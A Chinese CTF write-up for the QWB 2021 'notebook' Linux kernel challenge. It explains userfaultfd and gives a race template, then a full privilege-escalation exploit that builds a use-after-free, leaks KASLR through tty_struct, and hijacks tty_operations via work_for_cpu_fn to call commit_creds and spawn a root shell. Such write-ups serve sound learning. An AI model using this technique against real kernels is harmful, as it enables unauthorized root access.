强网杯2021 notebook

强网杯2021 notebook

前置知识

userfaultfd的使用

借助linux man page ,分析下官方的demo

以下为完整版

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199

/* userfaultfd_demo.c

Licensed under the GNU General Public License version 2 or later.
*/
#define _GNU_SOURCE
#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <inttypes.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <unistd.h>

static int page_size;

static void *
fault_handler_thread(void *arg)
{
int nready;
long uffd; /* userfaultfd file descriptor */
ssize_t nread;
struct pollfd pollfd;
struct uffdio_copy uffdio_copy;

static int fault_cnt = 0; /* Number of faults so far handled */
static char *page = NULL;
static struct uffd_msg msg; /* Data read from userfaultfd */

uffd = (long) arg;

/* Create a page that will be copied into the faulting region. */

if (page == NULL) {
page = mmap(NULL, page_size, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED)
err(EXIT_FAILURE, "mmap");
}

/* Loop, handling incoming events on the userfaultfd
file descriptor. */

for (;;) {

/* See what poll() tells us about the userfaultfd. */

pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
if (nready == -1)
err(EXIT_FAILURE, "poll");

printf("\nfault_handler_thread():\n");
printf(" poll() returns: nready = %d; "
"POLLIN = %d; POLLERR = %d\n", nready,
(pollfd.revents & POLLIN) != 0,
(pollfd.revents & POLLERR) != 0);

/* Read an event from the userfaultfd. */

nread = read(uffd, &msg, sizeof(msg));
if (nread == 0) {
printf("EOF on userfaultfd!\n");
exit(EXIT_FAILURE);
}

if (nread == -1)
err(EXIT_FAILURE, "read");

/* We expect only one kind of event; verify that assumption. */

if (msg.event != UFFD_EVENT_PAGEFAULT) {
fprintf(stderr, "Unexpected event on userfaultfd\n");
exit(EXIT_FAILURE);
}

/* Display info about the page-fault event. */

printf(" UFFD_EVENT_PAGEFAULT event: ");
printf("flags = %"PRIx64"; ", msg.arg.pagefault.flags);
printf("address = %"PRIx64"\n", msg.arg.pagefault.address);

/* Copy the page pointed to by 'page' into the faulting
region. Vary the contents that are copied in, so that it
is more obvious that each fault is handled separately. */

memset(page, 'A' + fault_cnt % 20, page_size);
fault_cnt++;

uffdio_copy.src = (unsigned long) page;

/* We need to handle page faults in units of pages(!).
So, round faulting address down to page boundary. */

uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address &
~(page_size - 1);
uffdio_copy.len = page_size;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
err(EXIT_FAILURE, "ioctl-UFFDIO_COPY");

printf(" (uffdio_copy.copy returned %"PRId64")\n",
uffdio_copy.copy);
}
}

int
main(int argc, char *argv[])
{
int s;
char c;
char *addr; /* Start of region handled by userfaultfd */
long uffd; /* userfaultfd file descriptor */
size_t len, l; /* Length of region handled by userfaultfd */
pthread_t thr; /* ID of thread that handles page faults */
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;

if (argc != 2) {
fprintf(stderr, "Usage: %s num-pages\n", argv[0]);
exit(EXIT_FAILURE);
}

page_size = sysconf(_SC_PAGE_SIZE);
len = strtoull(argv[1], NULL, 0) * page_size;

/* Create and enable userfaultfd object. */

uffd = syscall(SYS_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
err(EXIT_FAILURE, "userfaultfd");

/* NOTE: Two-step feature handshake is not needed here, since this
example doesn't require any specific features.

Programs that *do* should call UFFDIO_API twice: once with
`features = 0` to detect features supported by this kernel, and
again with the subset of features the program actually wants to
enable. */
uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
err(EXIT_FAILURE, "ioctl-UFFDIO_API");

/* Create a private anonymous mapping. The memory will be
demand-zero paged--that is, not yet allocated. When we
actually touch the memory, it will be allocated via
the userfaultfd. */

addr = mmap(NULL, len, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (addr == MAP_FAILED)
err(EXIT_FAILURE, "mmap");

printf("Address returned by mmap() = %p\n", addr);

/* Register the memory range of the mapping we just created for
handling by the userfaultfd object. In mode, we request to track
missing pages (i.e., pages that have not yet been faulted in). */

uffdio_register.range.start = (unsigned long) addr;
uffdio_register.range.len = len;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
err(EXIT_FAILURE, "ioctl-UFFDIO_REGISTER");

/* Create a thread that will process the userfaultfd events. */

s = pthread_create(&thr, NULL, fault_handler_thread, (void *) uffd);
if (s != 0) {
errc(EXIT_FAILURE, s, "pthread_create");
}

/* Main thread now touches memory in the mapping, touching
locations 1024 bytes apart. This will trigger userfaultfd
events for all pages in the region. */

l = 0xf; /* Ensure that faulting address is not on a page
boundary, in order to test that we correctly
handle that case in fault_handling_thread(). */
while (l < len) {
c = addr[l];
printf("Read address %p in %s(): ", addr + l, __func__);
printf("%c\n", c);
l += 1024;
usleep(100000); /* Slow things down a little */
}

exit(EXIT_SUCCESS);
}

关于注册uffd系统调用的部分

涉及的变量

1
2
3
4
5
6
7
8
9
int        s;
char c;
char *addr; /* Start of region handled by userfaultfd */
long uffd; /* userfaultfd file descriptor */
size_t len, l; /* Length of region handled by userfaultfd */
pthread_t thr; /* ID of thread that handles page faults */
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;

涉及的结构体

uffdio_api

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
struct uffdio_api {
__u64 api;
#define UFFD_FEATURE_PAGEFAULT_FLAG_WP (1<<0)
#define UFFD_FEATURE_EVENT_FORK (1<<1)
#define UFFD_FEATURE_EVENT_REMAP (1<<2)
#define UFFD_FEATURE_EVENT_REMOVE (1<<3)
#define UFFD_FEATURE_MISSING_HUGETLBFS (1<<4)
#define UFFD_FEATURE_MISSING_SHMEM (1<<5)
#define UFFD_FEATURE_EVENT_UNMAP (1<<6)
#define UFFD_FEATURE_SIGBUS (1<<7)
#define UFFD_FEATURE_THREAD_ID (1<<8)
#define UFFD_FEATURE_MINOR_HUGETLBFS (1<<9)
#define UFFD_FEATURE_MINOR_SHMEM (1<<10)
__u64 features;
__u64 ioctls;
};

uffdio_register

1
2
3
4
5
6
7
8
struct uffdio_register {
struct uffdio_range range;
#define UFFDIO_REGISTER_MODE_MISSING ((__u64)1<<0)
#define UFFDIO_REGISTER_MODE_WP ((__u64)1<<1)
#define UFFDIO_REGISTER_MODE_MINOR ((__u64)1<<2)
__u64 mode;
__u64 ioctls;
};

uffdio_range

1
2
3
4
struct uffdio_range {
__u64 start;
__u64 len;
};

注册uffd,默认的变量赋值,抄linxu man page🤣(不是

1
2
3
4
5
6
7
8
9
uffd = syscall(SYS_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
err(EXIT_FAILURE, "userfaultfd");
uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
err(EXIT_FAILURE, "ioctl-UFFDIO_API");
if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
err(EXIT_FAILURE, "ioctl-UFFDIO_API");

这里是申请一块地址,也就是uffd monitor 监视的地址

结合上面的结构体,这里地址的起始地址被赋值给了uffdio_register.range.start ,然后长度是uffdio_register.range.len = len

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
addr = mmap(NULL, len, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (addr == MAP_FAILED)
err(EXIT_FAILURE, "mmap");

printf("Address returned by mmap() = %p\n", addr);

/* Register the memory range of the mapping we just created for
handling by the userfaultfd object. In mode, we request to track
missing pages (i.e., pages that have not yet been faulted in). */

uffdio_register.range.start = (unsigned long) addr;
uffdio_register.range.len = len;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
err(EXIT_FAILURE, "ioctl-UFFDIO_REGISTER");

创建监视的线程,也就是具体的操作在这个函数fault_handler_thread 实现

1
2
3
4
s = pthread_create(&thr, NULL, fault_handler_thread, (void *) uffd);
if (s != 0) {
errc(EXIT_FAILURE, s, "pthread_create");
}

fault_handler_thread

涉及的变量

1
2
3
4
5
6
7
8
9
int                 nready;
long uffd; /* userfaultfd file descriptor */
ssize_t nread;
struct pollfd pollfd;
struct uffdio_copy uffdio_copy;

static int fault_cnt = 0; /* Number of faults so far handled */
static char *page = NULL;
static struct uffd_msg msg; /* Data read from userfaultfd */

涉及的结构体

pollfd

1
2
3
4
5
6
struct pollfd
{
int fd; /* File descriptor to poll. */
short int events; /* Types of events poller cares about. */
short int revents; /* Types of events that actually occurred. */
};

uffdio_copy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
struct uffdio_copy {
__u64 dst;
__u64 src;
__u64 len;
#define UFFDIO_COPY_MODE_DONTWAKE ((__u64)1<<0)
/*
* UFFDIO_COPY_MODE_WP will map the page write protected on
* the fly. UFFDIO_COPY_MODE_WP is available only if the
* write protected ioctl is implemented for the range
* according to the uffdio_register.ioctls.
*/
#define UFFDIO_COPY_MODE_WP ((__u64)1<<1)
__u64 mode;

/*
* "copy" is written by the ioctl and must be at the end: the
* copy_from_user will not read the last 8 bytes.
*/
__s64 copy;
};

uffd_msg

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
struct uffd_msg {
__u8 event;

__u8 reserved1;
__u16 reserved2;
__u32 reserved3;

union {
struct {
__u64 flags;
__u64 address;
union {
__u32 ptid;
} feat;
} pagefault;

struct {
__u32 ufd;
} fork;

struct {
__u64 from;
__u64 to;
__u64 len;
} remap;

struct {
__u64 start;
__u64 end;
} remove;

struct {
/* unused reserved fields */
__u64 reserved1;
__u64 reserved2;
__u64 reserved3;
} reserved;
} arg;
} __attribute__((packed));

handler()msg发送给uffd monitoruffd msg 也就是的msg的结构体类型

可以观察到有五种类型,分别是pagefault fork remap remove reversed

目前使用到的类型也就是pagefault

这里主要就是一个for循环,不断的轮询,直至发生缺页异常

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92

static void *
fault_handler_thread(void *arg)
{
int nready;
long uffd; /* userfaultfd file descriptor */
ssize_t nread;
struct pollfd pollfd;
struct uffdio_copy uffdio_copy;

static int fault_cnt = 0; /* Number of faults so far handled */
static char *page = NULL;
static struct uffd_msg msg; /* Data read from userfaultfd */

uffd = (long) arg;

/* Create a page that will be copied into the faulting region. */

if (page == NULL) {
page = mmap(NULL, page_size, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED)
err(EXIT_FAILURE, "mmap");
}

/* Loop, handling incoming events on the userfaultfd
file descriptor. */

for (;;) {

/* See what poll() tells us about the userfaultfd. */

pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
if (nready == -1)
err(EXIT_FAILURE, "poll");

printf("\nfault_handler_thread():\n");
printf(" poll() returns: nready = %d; "
"POLLIN = %d; POLLERR = %d\n", nready,
(pollfd.revents & POLLIN) != 0,
(pollfd.revents & POLLERR) != 0);

/* Read an event from the userfaultfd. */

nread = read(uffd, &msg, sizeof(msg));
if (nread == 0) {
printf("EOF on userfaultfd!\n");
exit(EXIT_FAILURE);
}

if (nread == -1)
err(EXIT_FAILURE, "read");

/* We expect only one kind of event; verify that assumption. */

if (msg.event != UFFD_EVENT_PAGEFAULT) {
fprintf(stderr, "Unexpected event on userfaultfd\n");
exit(EXIT_FAILURE);
}

/* Display info about the page-fault event. */

printf(" UFFD_EVENT_PAGEFAULT event: ");
printf("flags = %"PRIx64"; ", msg.arg.pagefault.flags);
printf("address = %"PRIx64"\n", msg.arg.pagefault.address);

/* Copy the page pointed to by 'page' into the faulting
region. Vary the contents that are copied in, so that it
is more obvious that each fault is handled separately. */

memset(page, 'A' + fault_cnt % 20, page_size);
fault_cnt++;

uffdio_copy.src = (unsigned long) page;

/* We need to handle page faults in units of pages(!).
So, round faulting address down to page boundary. */

uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address &
~(page_size - 1);
uffdio_copy.len = page_size;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
err(EXIT_FAILURE, "ioctl-UFFDIO_COPY");

printf(" (uffdio_copy.copy returned %"PRId64")\n",
uffdio_copy.copy);
}
}

这里有一个计算页起始地址的表达式

1
uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address & ~(page_size - 1);

例如当前的地址为0x12345678,通过计算后即为0x12345000

userfaultfd利用模板

模板介绍

最外层的调用函数Userfaultfd_Exploit

1
2
3
void Userfaultfd_Exploit(pthread_t *monitor_thread, void *buf, unsigned long length){
Register_Userfaultfd(monitor_thread, buf, length, fault_handler_thread);
}

下一层调用为Register_Userfaultfd ,显而易见是注册uffd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
void Register_Userfaultfd(pthread_t *monitor_thread, void *addr, 
unsigned long len, void *(*handler)(void*)){
long uffd;
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;

uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
errExit("userfaultfd");

uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
errExit("ioctl-UFFDIO_API");

uffdio_register.range.start = (unsigned long) addr;
uffdio_register.range.len = len;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
errExit("ioctl-UFFDIO_REGISTER");

int s = pthread_create(monitor_thread, NULL, handler, (void *) uffd);
if (s != 0) {
errExit("pthread_create");
}
}

因为利用的时候需要一个可控的地址,所以移除了原本改函数里的mmap操作

下面是线程函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
void *fault_handler_thread(void *arg)
{
static struct uffd_msg msg; /* Data read from userfaultfd */
long uffd; /* userfaultfd file descriptor */
struct uffdio_copy uffdio_copy;
ssize_t nread;
uffd = (long) arg;

for (;;)
{
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
if (nready == -1)
errExit("poll");
nread = read(uffd, &msg, sizeof(msg));
/*
在此操作
*/
sleep(10000000);
if (nread == 0)
{
printf("EOF on userfaultfd!\n");
exit(EXIT_FAILURE);
}

if (nread == -1)
errExit("read");

if (msg.event != UFFD_EVENT_PAGEFAULT)
{
fprintf(stderr, "Unexpected event on userfaultfd\n");
exit(EXIT_FAILURE);
}

uffdio_copy.src = (unsigned long) temp_page_for_UffdThread_stuck;
//赋值为page的起始地址
uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address &
~(0x1000 - 1);
uffdio_copy.len = 0x1000;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;

if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
errExit("ioctl-UFFDIO_COPY");

return NULL;
}
}

在nread之后进行sleep,可以实现阻塞这个线程的效果,也就是达到了条件竞争的假象

使用方法

首先申请一块内存区域,用于被uffd monitor监视,然后直接调用Userfaultfd_Exploit即可

1
2
3
pthread_t monitor_uffd;
uffd_buf = (char*) mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
Userfaultfd_Exploit(&monitor_uffd, uffd_buf, 0x1000);

例题解析

题目分析

启动脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/bin/sh
stty intr ^]
exec qemu-system-x86_64 \
-m 512M \
-kernel bzImage \
-initrd core.cpio \
-append "loglevel=3 console=ttyS0 oops=panic panic=1 kaslr" \
-nographic \
-net user \
-net nic \
-device e1000 \
-smp cores=2,threads=2 \
-cpu kvm64,+smep,+smap \
-monitor /dev/null 2>/dev/null \
-s

稍微修改了下,出题人给的太阴间了(🔨

保护机制是smep smap kaslr ,然后两核四线程

bss段上的三个全局变量

image.png

image.png

交互所需要的结构体

1
2
3
4
5
struct node{
size_t idx;
size_t size;
void *ptr;
};

菜单堆,功能还算全

image.png

同时存在读写堆块的功能

image.png

image.png

add功能

image.png

存在读锁,可以多线程访问

申请堆块的大小要≤ 0x60,然后会将name字段赋值,接着再申请堆块

del功能

image.png

写锁,无法多线程访问

正常的free流程,先free,如果size字段存在,那么就将置为0

edit功能

image.png

读锁,可以多线程访问

如果size与之前申请的相同,那么不发生任何操作

如果与之前的不同,调用krealloc 更改大小,赋值name

同时需要注意的是没有size检查,也就是说,这里的size可以任意更改

gift

image.png

将notebook的内容拷贝到用户态,意味着所有的分配的堆地址都是已知的

add和edit功能存在读锁,可以多线程访问,因此可以尝试通过userfaultfd来构造uaf堆块。

存在堆块读写,也就是说堆块的内容是可以控制的

通过gift可以得到所有分配堆块的地址

漏洞利用

构造uaf堆块

当访问到一块存在缺页异常,且被uffd monitor监视的内存时,会触发到handler,通过sleep操作将handler线程卡住,从而实现条件竞争的效果

edit功能是先进行krealloc ,在copy数据到name上,借助这个copy_from_user ,可以触发uffd

也就说,如果我修改了size为0,那么就可以实现uaf的效果

泄露kernel offset

因为开启了kaslr保护,所以需要泄露偏移量。

这里使用的是tty_struct ,通过泄露PTY_UNIX98_OPS或者PTM_UNIX98_OPS

泄露的时候需要使用到读堆块的功能,需要注意的是,无论读还是写堆块,都存在一个size的检查,所以还需要将uaf堆块的size修改成非0的值

修改的方式也是使用uffd,可以留意到add函数里,先进行size的赋值,接着是copy_from_user,最后kmalloc。借助uffd,可以卡在copy_from_user处,这样也就不会将原本的堆块地址覆盖

修改tty_opeartions 劫持控制流work_for_cpu_fn

work_for_cpu_fn利用方式的成因后补….

上面构造了一个uaf object,所以可以通过打开/dev/ptmx来获取这个object。接着在申请一个堆块,用于伪造tty_ops,然后通过gift泄露这两个堆的地址,通过读写功能修改数据,将tty_struct的tty_operations修改成提前布置好的tty_ops,下面就是布置rop链,最后提权,拿shell

work_for_cpu_fn利用方式简单的说,tty_ops调用函数时,参数一般都是tty_struct的地址,也就是rdi=&tty_struct

这里将tty_ops.ioctl修改成work_for_cpu_fn

将需要调用的函数写于rdi+0x20

将需要设置的参数写于rdi+0x28

将调用后的返回结果写于rdi+0x30

这样可以写成一个简单的rop链,常见的提权手段就是commit_creds(prepare_kernel_cred(NULL))

所以可以分批次写,先执行内层的函数prepare_kernel_cred(NULL) 接着执行外层….

不考虑KPTI绕过的原因:因为此时在内核的页表上执行system,不需要进行切换页表

执行完毕后内核已经提权成功,接着需要开一个root sh,记得将tty_struct的内容还原,不然会panic

利用脚本

可以通过注释掉debug函数中的getchar(),来调试,自用(👴觉得好用就是好用

编译指令gcc exp.c -static -masm=intel -g -o exp -lpthread

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
#define _GNU_SOURCE
#include <sched.h>
#include <semaphore.h>
#include <pthread.h>

#include "../../template/kernel.h"

#define PTY_UNIX98_OPS 0xffffffff81e8e320
#define PTM_UNIX98_OPS 0xffffffff81e8e440
#define WORK_FOR_CPU_FN 0xffffffff8109eb90
#define COMMIT_CREDS 0xffffffff810a9b40
#define PREPARE_KERNEL_CRED 0xffffffff810a9ef0

/*
/ # cat /proc/kallsyms | grep "pty_unix98_ops"
ffffffff81e8e320 r pty_unix98_ops
/ # cat /proc/kallsyms | grep "ptm_unix98_ops"
ffffffff81e8e440 r ptm_unix98_ops
*/

int fd;
sem_t add_sem, edit_sem;
char *uffd_buf;
char tmp[0x1000] = {"flyyy"};

void debug(char *msg){
printf("[*] %s\n",msg);
// getchar();
}

struct node{
size_t idx;
size_t size;
void *ptr;
};

struct knode{
void *ptr;
size_t size;
};

void noteread(size_t idx, void *ptr){
read(fd, ptr, idx);
}

void notewrite(size_t idx, void *ptr){
write(fd, ptr, idx);
}

void add(size_t idx, size_t size, void *ptr){
struct node n = {
.idx = idx,
.size = size,
.ptr = ptr,
};
ioctl(fd,0x100,&n);
}

void del(size_t idx, size_t size, void *ptr){
struct node n = {
.idx = idx,
.size = size,
.ptr = ptr,
};
ioctl(fd,0x200,&n);
}

void edit(size_t idx, size_t size, void *ptr){
struct node n = {
.idx = idx,
.size = size,
.ptr = ptr,
};
ioctl(fd,0x300,&n);
}

void gift(size_t idx, size_t size, void *ptr){
struct node n = {
.idx = idx,
.size = size,
.ptr = ptr,
};
ioctl(fd,0x64,&n);
}

void *evil_add(void *arg){
char *output = (char *)arg;
sem_wait(&add_sem);
printf("[*] evil %s done!\n",output);
add(0, 0x60, uffd_buf);
return NULL;
}

void *evil_edit(void *arg){
char *output = (char *)arg;
sem_wait(&edit_sem);
printf("[*] evil %s done!\n",output);
edit(0, 0, uffd_buf);
return NULL;
}

void pwn(){
size_t orig_tty_struct_data[0x2e0],fake_tty_struct_data[0x2e0];
struct tty_operations fake_tty_ops;

sem_init(&add_sem, 0, 0);
sem_init(&edit_sem, 0, 0);

fd = open("/dev/notebook",2);

/*注册userfaultfd*/
pthread_t monitor_uffd;
uffd_buf = (char*) mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
Userfaultfd_Exploit(&monitor_uffd, uffd_buf, 0x1000);

debug("register uffd");

/*通过edit,申请到0x2e0大小的slab*/
add(0,0x20,tmp);
edit(0,0x2e0,tmp);
debug("krealloc 0x2e0");

/*利用uffd机制,实现uaf*/
pthread_t fix_size,uaf;
pthread_create(&fix_size, NULL, evil_add, "add");
pthread_create(&uaf, NULL, evil_edit, "edit");

/*uaf具体实现,通过krealloc(0),接着修改size,从而绕过检查*/
sem_post(&edit_sem);
sleep(1);

sem_post(&add_sem);
sleep(1);

debug("evil action");

/*申请结构体到tty结构体*/
int fd_tty = open("/dev/ptmx", O_RDWR | O_NOCTTY);
debug("hijack tty_struct");

noteread(0,orig_tty_struct_data);

size_t tty_ops = orig_tty_struct_data[3];

if ((tty_ops & 0xfff) == (PTY_UNIX98_OPS & 0xfff)){
kernel_offset = tty_ops - PTY_UNIX98_OPS;
}else{
kernel_offset = tty_ops - PTM_UNIX98_OPS;
}

kernel_base += kernel_offset;
printf("[*] kernel base: 0x%lx\n",kernel_base);
printf("[*] orig_tty_struct_data addr: 0x%lx\n", &orig_tty_struct_data);
debug("forge fake_tty_op.ioctl");

fake_tty_ops.ioctl = WORK_FOR_CPU_FN + kernel_offset;
add(1,0x50,tmp);
edit(1,sizeof(struct tty_operations),tmp);
printf("[*] tty_operations address: 0x%lx size: 0x%lx\n",&fake_tty_ops,sizeof(struct tty_operations));

notewrite(1,&fake_tty_ops);

// debug("")
struct knode k[0x10];
size_t fake_tty_struct_data_addr, fake_tty_ops_addr;
gift(0,0,&k);
printf("[*] k addr 0x%lx\n",&k);

fake_tty_struct_data_addr = k[0].ptr;
fake_tty_ops_addr = k[1].ptr;
printf("[*] fake_tty_struct_data_addr: 0x%lx\n",fake_tty_struct_data_addr);
printf("[*] fake_tty_ops_addr: 0x%lx\n",fake_tty_ops_addr);
printf("[*] fake_tty_struct_data: 0x%lx\n",&fake_tty_struct_data);

/* exec prepare_kernel_cred */
debug("exec prepare_kernel_cred");
memcpy(fake_tty_struct_data,orig_tty_struct_data,0x2e0);
fake_tty_struct_data[3] = fake_tty_ops_addr;
fake_tty_struct_data[4] = PREPARE_KERNEL_CRED + kernel_offset;
fake_tty_struct_data[5] = NULL;

notewrite(0,fake_tty_struct_data);
ioctl(fd_tty,111,111);

/* exec commit_creds */
debug("exec commit_creds");
noteread(0,fake_tty_struct_data);
fake_tty_struct_data[3] = fake_tty_ops_addr;
fake_tty_struct_data[4] = COMMIT_CREDS + kernel_offset;
fake_tty_struct_data[5] = fake_tty_struct_data[6];
fake_tty_struct_data[6] = orig_tty_struct_data[6];

notewrite(0,fake_tty_struct_data);
ioctl(fd_tty,111,111);

if(getuid())
{
printf("fail to change to root\n");
exit(-1);
}

debug("root...");
notewrite(0,orig_tty_struct_data);
printf("[*] Pwned by flyyy\n");
system("/bin/sh");
}

int main(){
save_status();
bind_core(0);
pwn();
return 0;
}

image.png


强网杯2021 notebook
http://example.com/2024/08/20/强网杯2021_notebook/
作者
flyyy
发布于
2024年8月20日
许可协议